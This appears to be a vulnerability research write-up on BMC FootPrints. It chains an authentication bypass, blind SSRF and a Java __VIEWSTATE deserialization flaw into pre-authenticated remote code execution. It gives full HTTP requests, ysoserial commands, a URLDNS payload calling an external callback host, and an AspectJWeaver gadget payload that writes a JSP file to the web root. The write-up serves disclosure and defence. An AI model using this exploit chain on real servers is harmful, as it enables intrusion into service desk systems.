Upon first installation, a browser is launched to the main application entry point located at http://127.0.0.1:8080/footprints/servicedesk .

Whilst the supporting Apache Tomcat server is installed in its own directory - C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0 - the expanded war file containing the application source code was found in C:\\Program Files\\BMC Software\\FootPrints\\web.

As we’ve covered in previous research, Tomcat applications tend to follow a familiar structure during reverse engineering. A web.xml file defines servlet routes, jsp files execute as server-side scripts, and jar and class files contain the compiled Java source code behind the application.

To avoid friction later in the process, we extracted all files upfront, making decompilation and remote debugging significantly easier.

Authentication Bypass - CVE-2025-71257/WT-2025-0069

When attempting to directly access the jsp files in the web root, we quickly discovered a filter in place that redirected all requests to the login page.

The following is an example of an unauthenticated request, which is caught by the ‘filter’ and redirects us:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=9CAD4CA3D09E640B4AE3DCDCE2116B47; Path=/footprints/servicedesk; HttpOnly
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Location: http://{{Hostname}}:8080/footprints/servicedesk/login.html
Content-Length: 0
Date: Tue, 17 Jun 2025 08:36:00 GMT

It behaved like a whitelist filter, suggesting the logic was declared elsewhere using a regex-style pattern. Our goal became identifying which endpoints could still be reached pre-authentication while satisfying that filter logic.

This was quickly traced to deployment/non-version-specific/conf/footprints-application-beans.xml.

There, we can see a filter configured to intercept all request URIs via /**:


    &lt;security:intercept-url pattern="/**"
      access="isAuthenticated()" requires-channel="any" /&gt;

The file contains a total of 58 filters - a non-trivial amount to work through, especially given that several are wildcarded and expose an even broader attack surface.

From a post-authentication perspective, the attack surface is substantial. At this stage, however, we’re constrained by the initial isAuthenticated() filter - meaning even servlets explicitly declared in web.xml remain unreachable to unauthenticated users.

In general, the filters look like this:


  &lt;security:http pattern="/survey/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;   

    &lt;security:headers&gt;
         &lt;security:frame-options disabled="true"&gt;&lt;/security:frame-options&gt;
    &lt;/security:headers&gt;


    &lt;security:intercept-url pattern="/survey/**"
      access="isAuthenticated()" requires-channel="any" /&gt;


    &lt;security:session-management session-fixation-protection="none"/&gt;

    &lt;security:csrf disabled="true"/&gt;


    &lt;security:custom-filter before="ANONYMOUS_FILTER" ref="surveyAuthenticationFilter"/&gt;
    &lt;security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" /&gt;
    &lt;security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" /&gt;
    &lt;security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" /&gt;
  &lt;/security:http&gt;


  &lt;security:http pattern="/portal/set/**" auto-config="false" use-expressions="true" disable-url-rewriting="false" &lt;--- [0]
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;   

    &lt;security:headers&gt;
         &lt;security:frame-options disabled="true"&gt;&lt;/security:frame-options&gt;
    &lt;/security:headers&gt;


    &lt;security:intercept-url pattern="/portal/set/**"
      access="isAuthenticated()" requires-channel="any" /&gt;

Given the above, looking at [0], we can see that requests matching the pattern /portal/set/** pass through the securityContextRepository filter - potentially allowing pre-authenticated access.

Given the limited reachable surface, we decided to work through each filter and endpoint one by one, just in case something had been exposed unintentionally.

Due diligence, and all that.

> It really can’t be overstated - when researching products with large codebases and complex security filter chains, it’s very easy to get lost in the weeds. And we regularly do. Sometimes you just need to trial-and-error the endpoints against a live instance. As such, we systematically attempted to request each endpoint and filter pattern to observe any differentials that might inspire a deeper investigation.

While the majority of the attack surface remained unreachable without authentication or satisfying the isAuthenticated() filter, this systematic approach did lead us to one particular filter - and its matching endpoint - that stood out immediately.

security:http pattern="/passwordreset/request/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository"&gt;

It stood out because, when the pattern was satisfied, the server returned a security token cookie (SEC_TOKEN) in the response headers.

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 404 
Cache-Control: private
SET-COOKIE: SEC_TOKEN=wGCyXHdPS-slXYwxD5&amp;rtjHQ1&amp;Y1xBimP0dEJ-TjOCNMJV-ULL; Domain={{Hostname}}; Path=/footprints/servicedesk/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:37:58 GMT

&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;

It’s important to stress that no other endpoint or filter returned this SEC_TOKEN, which immediately raised a few questions for us - what exactly was this token used for, and how was it being set?

Following the code path, we were able to trace an additional filter in the call chain:

com/numarasoftware/footprints/application/web/filter/GenericGuestAuthenticationFilter.class

 public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        boolean applyAnonymousForThisRequest = false;
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;
        if (request.getAttribute("__system_guest_filter_applied") != null) {
            chain.doFilter(request, response);
        } else {
            request.setAttribute("__system_guest_filter_applied", Boolean.TRUE);

            try {
                applyAnonymousForThisRequest = this.applyGuestForThisRequest(request, response); &lt;--- [0]
            } catch (AuthenticationException var8) {
                AuthenticationException ex = var8;
                this._failureHandler.onAuthenticationFailure(request, response, ex);
                return;
            }

            if (!this.isAlreadyLoggedIn()) {
                if (!this.hasLoginRequired(request) &amp;&amp; applyAnonymousForThisRequest) { &lt;--- [1]
                    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
                    if (!SystemSessionContext.hasValidSession()) {
                        this.createGuestAuthentication(request, response, authentication); &lt;--- [2]
                        LOG.debug("Populated SecurityContextHolder with anonymous token: '" + SecurityContextHolder.getContext().getAuthentication() + "'", new Object[0]);
                    } else {
                        LOG.debug("SecurityContextHolder not populated with anonymous token because it already contained: '" + authentication + "'", new Object[0]);
                    }
                } else if (SystemSessionContext.hasValidSession()) {
                    SystemSessionInfo sessionInfo = SystemSessionContext.getSessionInfo();
                    if (sessionInfo.isGuestUserSession()) {
                        this._sessionStrategy.onInvalidAuthentication();
                    }
                }
            }

            chain.doFilter(req, res);
        }
    }

Looking at the above, [0] shows the point where the code checks for applyAnonymousForThisRequest and applyGuestForThisRequest.

There are five implementations of this logic:

This makes sense. Looking back at the patterns and filters defined in the earlier configuration file, we can see that passwordResetRequestAuthenticationFilter is one of the filters explicitly configured:


    &lt;security:intercept-url pattern="/passwordreset/request/**"
      access="isAuthenticated()" requires-channel="any" /&gt;


    &lt;security:session-management session-fixation-protection="none"/&gt;

    &lt;security:csrf disabled="true"/&gt;


    &lt;security:custom-filter before="ANONYMOUS_FILTER" ref="passwordResetRequestAuthenticationFilter"/&gt;]
    &lt;security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" /&gt;
    &lt;security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" /&gt;
    &lt;security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" /&gt;
  &lt;/security:http&gt;

Following this code block, we can see the boolean being evaluated at [1], before execution flows into createGuestAuthentication at [2].

From there, several additional checks are performed across multiple classes, eventually leading to the cookie being set. Which naturally led to the most important question - what, exactly, does this token allow us to do?

Our first litmus test was simple: determine whether this SEC_TOKEN granted any form of authentication or session state. In other words, could it satisfy the original isAuthenticated() check from the catch-all filter, and in doing so allow us to bypass an authentication boundary?

Only one way to find out:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=kziK9aCBHIyTtYDt3SNPpN_or+AUyF9GamRWPowwMWKXMF7Rqr

HTTP/1.1 404 
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:47:42 GMT

&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;&lt;style type="text/css"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;<h1>HTTP Status 404 – Not Found</h1><hr><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr><h3>Apache Tomcat/9.0.106</h3>&lt;/body&gt;&lt;/html&gt;

At this point, some of you are probably wondering what the significance of the above is. It’s just a 404, right? A standard not-found response. Easy to dismiss, move on, test the next endpoint, nothing to see here.

Not quite - this is enterprise software, it’s different!

It’s behavioral proof that we’ve successfully stepped into a privileged session and bypassed the catch-all filter that would otherwise have redirected us to the login page.

Fox In The Hen House, Fox In The Hen House!

Let’s take stock of where we are.

During the initial recon phase, the application’s exposed attack surface is heavily constrained by the security filter patterns. Pre-authentication, the number of reachable endpoints and APIs is drastically limited.

With this new SEC_TOKEN in hand - and the redirect filter effectively bypassed - the reachable surface expands dramatically. What was a tightly restricted set of endpoints now opens up into a much broader range of application functionality.

It’s time to enumerate.

Using the SEC_TOKEN, we work back through the API systematically and quickly find several straightforward wins - including a handful of medium-impact issues that we won’t dive into the root cause analysis for here.

Blind SSRF - CVE-2025-71258/WT-2025-0070

GET /footprints/servicedesk/import/searchWeb?url=https://{{external-host}}&amp;dataEncoding=x HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Blind SSRF - CVE-2025-71259/WT-2025-0071

GET /footprints/servicedesk/externalfeed/RSS?feedUrl=https://{{external-host}} HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Unfortunately, though, while ‘vulnerabilities’, we haven’t met our original research goal - and thus we are not allowed to eat.

The reality is that blind SSRF vulnerabilities barely scratch the surface when it comes to satisfying vulnerabilities - we’re still craving mayhem.

Remote Code Execution WT-2025-0072 - CVE-2025-71260

Having blasted through the API without achieving our goal, we turned our attention back to the broader application architecture.

The application runs on Tomcat, and as expected, there is a web.xml containing servlet definitions - and with them, additional potential routes.

More specifically, in C:\\Program Files\\BMC Software\\FootPrints\\web\\WEB-INF\\web.xml, we can see a number of URL patterns mapped to servlets of interest.

For example:

    &lt;servlet-mapping&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;url-pattern&gt;/aspnetconfig&lt;/url-pattern&gt;
    &lt;/servlet-mapping&gt;

The URI /aspnetconfig maps to the VmwDynamicServlet servlet, which in turn maps to the class GhDynamicHttpServlet:

    &lt;servlet&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;servlet-class&gt;GhDynamicHttpServlet&lt;/servlet-class&gt;
    &lt;/servlet&gt;

Before diving into the darker depths of the code, as mentioned earlier, it’s important to play with your food before deconstructing it.

We decided to issue a request to our live instance first just to see what the endpoint actually looked like in practice.

Sometimes, you need to taste with your eyes:

GET /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

HTTP/1.1 200 
Cache-Control: private
Set-Cookie: JSESSIONID=4CC85B0B94E801ADA5C5DAFC865244A7; Path=/footprints/servicedesk; HttpOnly
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 1396
Date: Wed, 03 Sep 2025 02:32:04 GMT
Keep-Alive: timeout=20
Connection: keep-alive

"&gt;

&lt;html xmlns="&lt;http://www.w3.org/1999/xhtml&gt;" &gt;
&lt;head&gt;&lt;title&gt;
    ASP.Net Web Application Administration
&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
    &lt;form method="post" action="SecurError.aspx" id="form1"&gt;
&lt;script type="text/javascript"&gt;
//
&lt;/script&gt;
&lt;div&gt;
    &lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="rO0ABXNyACJzeXN0ZW0uV2ViLlVJLlBhZ2UkU3RhdGVTZXJpYWxpemVyAAAAAADK/+4MAAB4cgANc3lzdGVtLk9iamVjdAAAAAAAyv/uAwAAeHB3AwwAAHg=" /&gt;
&lt;/div&gt;
    &lt;div style="font-weight: bold; font-size: 11pt;"&gt;
        By default, the Web Site Administration Tool may only be accessed locally. 
        To enable accessing it from a remote computer, open the Web.config file, add the key <br>
        allowRemoteConfiguration to the appSettings section, and set its value to true: <br>
        <pre>        &amp;lt appSettings &amp;gt 
              &amp;lt/ add key="allowRemoteConfiguration" value="True" /&amp;gt 
        &amp;lt/ appSettings &amp;gt
        </pre>
    &lt;/div&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

Now, for those following along at home who may not be avid readers, we want to call back to our IBM Operational Decision Manager RCE, research - there’s an important pattern here in the __VIEWSTATE response: rO0ABXN!

This pattern is the Base64 prefix of a Java object. If we decode the value, we can immediately see the telltale signs of a serialized Java object:

¬ísr"system.Web.UI.Page$StateSerializerÊÿîxrsystem.ObjectÊÿîxpwx

At this point, our interest is very much piqued. You can probably already see where this is heading - and yes, we’ll get there.

Hold on tight for deserialization.

Strap In Folks!

The appliance’s response exposes a raw Java object in the __VIEWSTATE parameter, which immediately stands out.

__VIEWSTATE is typically associated with .NET applications as we’re sure you know - but here, we’re dealing with Java.

Sigh.. Mono…

> Mono is an open-source implementation of Microsoft’s .NET Framework that runs across multiple platforms (Linux, macOS, Windows, BSD, etc.). It allows you to build and run applications written in C#, F#, and other .NET languages outside of Windows. Mono includes a C# compiler and a Common Language Runtime (CLR) that mimics Microsoft’s .NET runtime.

That would also make sense given the presence of .aspx files in the filesystem.

And, of course, __VIEWSTATE is no stranger to deserialization research in the .NET world - especially when the keys used to protect its value are known. The more interesting question here is how that behaviour translates when the implementation is Mono-based, but the underlying application logic is still rooted in Java.

When testing for deserialization, it’s important that we begin with an object that relies on classes already present on the target’s classpath. That can vary from product to product, but one gadget chain that is almost always worth reaching for first is URLDNS.

URLDNS triggers a DNS lookup to attacker-controlled infrastructure, making it an ideal low-impact way to confirm that deserialization is taking place without immediately reaching for full code execution.

You can generate a payload for this using the following ysoserial command:

Java -jar ysoserial.jar URLDNS "https://{{external-url}}"| base64

When we first tried supplying the object via a GET request, we immediately ran into a few observations:

The mere presence of the __VIEWSTATE parameter triggered a 302 response, redirecting us to an error page.
The object was not deserialized, and no DNS query was observed hitting our infrastructure.
Switching to POST didn’t help either - regardless of request structure, the server consistently responded with 403 Forbidden.

Let’s try..

GET /footprints/servicedesk/aspnetconfig/CreateUser.aspx?__VIEWSTATE=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDR0eTkxaXByZTZqbG51bHdoZm1ueW4xOW0wc3VnazQ5Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly80dHk5MWlwcmU2amxudWx3aGZtbnluMTltMHN1Z2s0OS5vYXN0aWZ5LmNvbXg= HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=E014BB23BFB56540DC2FDFE9C0EB3778; Path=/footprints/servicedesk; HttpOnly
Location: /footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 226
Date: Wed, 03 Sep 2025 02:46:55 GMT
Keep-Alive: timeout=20
Connection: keep-alive

&lt;html&gt;&lt;head&gt;&lt;title&gt;Object moved&lt;/title&gt;&lt;/head&gt;&lt;body&gt;
<h2>Object moved to <a href="/footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx">here</a></h2>
&lt;/body&gt;&lt;html&gt;

Sigh……

Debug For Glory!

Undeterred by the lack of deserialization/our own skill issues, we turned to code - and our trusty debugger - for answers.

Focusing on Mainsoft/Web/Hosting/BaseFacesStateManager.class, we quickly located the point where the __VIEWSTATE request parameter is handled.

    protected final Object GetStateFromClient(FacesContext facesContext, String viewId, String renderKitId) {
        Object map = null;
        Object s1 = null;
        Object buffer = null;
        InputStream bytearrayinputstream = null;
        ObjectInputStream inputStream = null;
        Object state = null;
        map = facesContext.getExternalContext().getRequestParameterMap();
        s1 = StringStaticWrapper.StringCastClass(map.get(VIEWSTATE)); &lt;---- [0]
        buffer = Convert.FromBase64String((String)s1); &lt;---- [1]
        bytearrayinputstream = access$200(TypeUtils.ToSByteArray(buffer)); &lt;---- [2]
        inputStream = access$300(bytearrayinputstream); 
        state = inputStream.readObject(); &lt;---- [3]
        inputStream.close();
        bytearrayinputstream.close();
        return state;
    }

This function is a textbook example of how deserialization is taking place:

[0] - The request parameter map retrieves the __VIEWSTATE value and assigns it to s1
[1] - That value is then decoded from Base64 into a buffer
[2] - The buffer is read into a byte array
[3] - The byte array is passed into readObject(), where deserialization occurs

Unfortunately, for reasons not yet obvious, the request still fails - because s1 is never actually populated.

As shown below, the __VIEWSTATE parameter resolves to null :

Digging further into how request parameters are parsed, we followed execution into getRequestParameterMap():

public Map getRequestParameterMap() {
    Map CS$0$0000 = null;
    Object var10000 = this._requestParameterMap;
    if (this._requestParameterMap == null) {
        BaseExternalContext.RequestParameterMap var2;
        this._requestParameterMap = var2 = access$000(this.get_Context().get_Request().get_Form());
        var10000 = var2;
    }

    return (Map)var10000;
}

And finally into get_Form(), where we can see that request variables are only processed when one of two content types is present at [0] and [1]:

public final NameValueCollection get_Form() {
    if (this.form == null) {
        this.form = new WebROCollection();
        this.files = new HttpFileCollection();
        if (this.IsContentType("multipart/form-data", true)) {  &lt;---- [0]
            this.LoadMultiPart();
        } else if (this.IsContentType("application/x-www-form-urlencoded", true)) {  &lt;---- [1]
            this.LoadWwwForm();
        }

        this.form.Protect();
    }

Now, we’d be lying if we said we figured this part out from the code first, rather than by button-mashing our super-finisher until we managed to get a value into the s1 parameter.

That said, we ultimately identified two ways to achieve our goal.

The first is by sending the request with a Content-Type header of multipart/form-data - (ahem ahem something we actually discovered while writing this blog post ahem ahem):

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 600

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALHk2NTNlYzJscjB3ZjBveXF1OXpoYmhlM3p1NXB0Zmg0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly95NjUzZWMybHIwd2Ywb3lxdTl6aGJoZTN6dTVwdGZoNC5vYXN0aWZ5LmNvbXg=
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

Our initial discovery - albeit through a bit of button-bashing - showed that it was possible to deliver the value by:

Sending a GET request
Including a dummy __VIEWSTATE parameter in the query string
Supplying the real __VIEWSTATE value in the request body
Using a Content-Type of application/x-www-form-urlencoded

GET /footprints/servicedesk/aspnetconfig/?__VIEWSTATE=watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 1380

__VIEWSTATE=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%48%6b%32%4e%54%4e%6c%59%7a%4a%73%63%6a%42%33%5a%6a%42%76%65%58%46%31%4f%58%70%6f%59%6d%68%6c%4d%33%70%31%4e%58%42%30%5a%6d%67%30%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%56%6f%64%48%52%77%63%33%42%34%64%41%41%30%61%48%52%30%63%48%4d%36%4c%79%39%35%4e%6a%55%7a%5a%57%4d%79%62%48%49%77%64%32%59%77%62%33%6c%78%64%54%6c%36%61%47%4a%6f%5a%54%4e%36%64%54%56%77%64%47%5a%6f%4e%43%35%76%59%58%4e%30%61%57%5a%35%4c%6d%4e%76%62%58%67%3d

As shown below, our injected __VIEWSTATE value is successfully assigned to s1 - which is then ultimately passed into the deserialization flow:

The URLDNS gadget chain fired successfully, sending a DNS lookup to our listening infrastructure - now, time for a gadget chain to achieve RCE (and get dinner?).

Before diving into custom gadget development and disappearing into the class-tracing trenches, it’s always worth checking what the community has already done for you. ysoserial maintains a curated set of known gadget chains, and it’s the natural first stop.

Unfortunately, the usual suspects - such as the Apache Commons-based chains - weren’t viable here, as the target codebase doesn’t rely on the expected libraries in the right way.

That said, we got lucky.

The application includes aspectjweaver-1.9.2 and commons-collections:3.2.2, which line up perfectly for the well-known arbitrary file write gadget chain AspectJWeaver, originally authored by the legendary Jang.

To generate a working payload, the following ysoserial command can be used:

java -jar ysoserial.jar AspectJWeaver "filename.jsp;BASE64TEXT" | base64

It’s important to note that the filename can contain path traversal sequences and arbitrary directory separators.

With that in mind, we craft a harmless payload that writes a .jsp script into the FootPrints web root which, when executed, enumerates the system’s current user and working directory:

java -jar ysoserial.jar AspectJWeaver "webapps/ROOT/watchTowr.jsp;PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT4KPCUKICAgIFN0cmluZyBvc1VzZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIubmFtZSIpOwogICAgU3RyaW5nIGN3ZCA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgidXNlci5kaXIiKTsKJT4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT53YXRjaFRvd3IgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgo=" | base64

Your Favorite Band Is Back Together

For those following along at home, the grand finale is now hopefully obvious.

By chaining the Authentication Bypass (CVE-2025-71257) and this Deserialization of Untrusted Data (CVE-2025-71260), we can achieve Arbitrary File Write - and, ultimately, Pre-Authenticated Remote Code Execution.

Let’s play it out..

CVE-2025-71257 - Authentication Bypass (Extract the “SEC_TOKEN” cookie)

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}

CVE-2025-71260 - Deserialize to Arbitrary File Write (Using the “SEC_TOKEN” cookie from the first request)

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=TF06JG8cShIK0q3yJe+o_KDf2fDpnt2JU6c7Tfhr&amp;zWoA1itiu; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 1624

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

And voila - our friendly watchTowr.jsp is written to the file system:

GET /watchTowr.jsp HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 200 
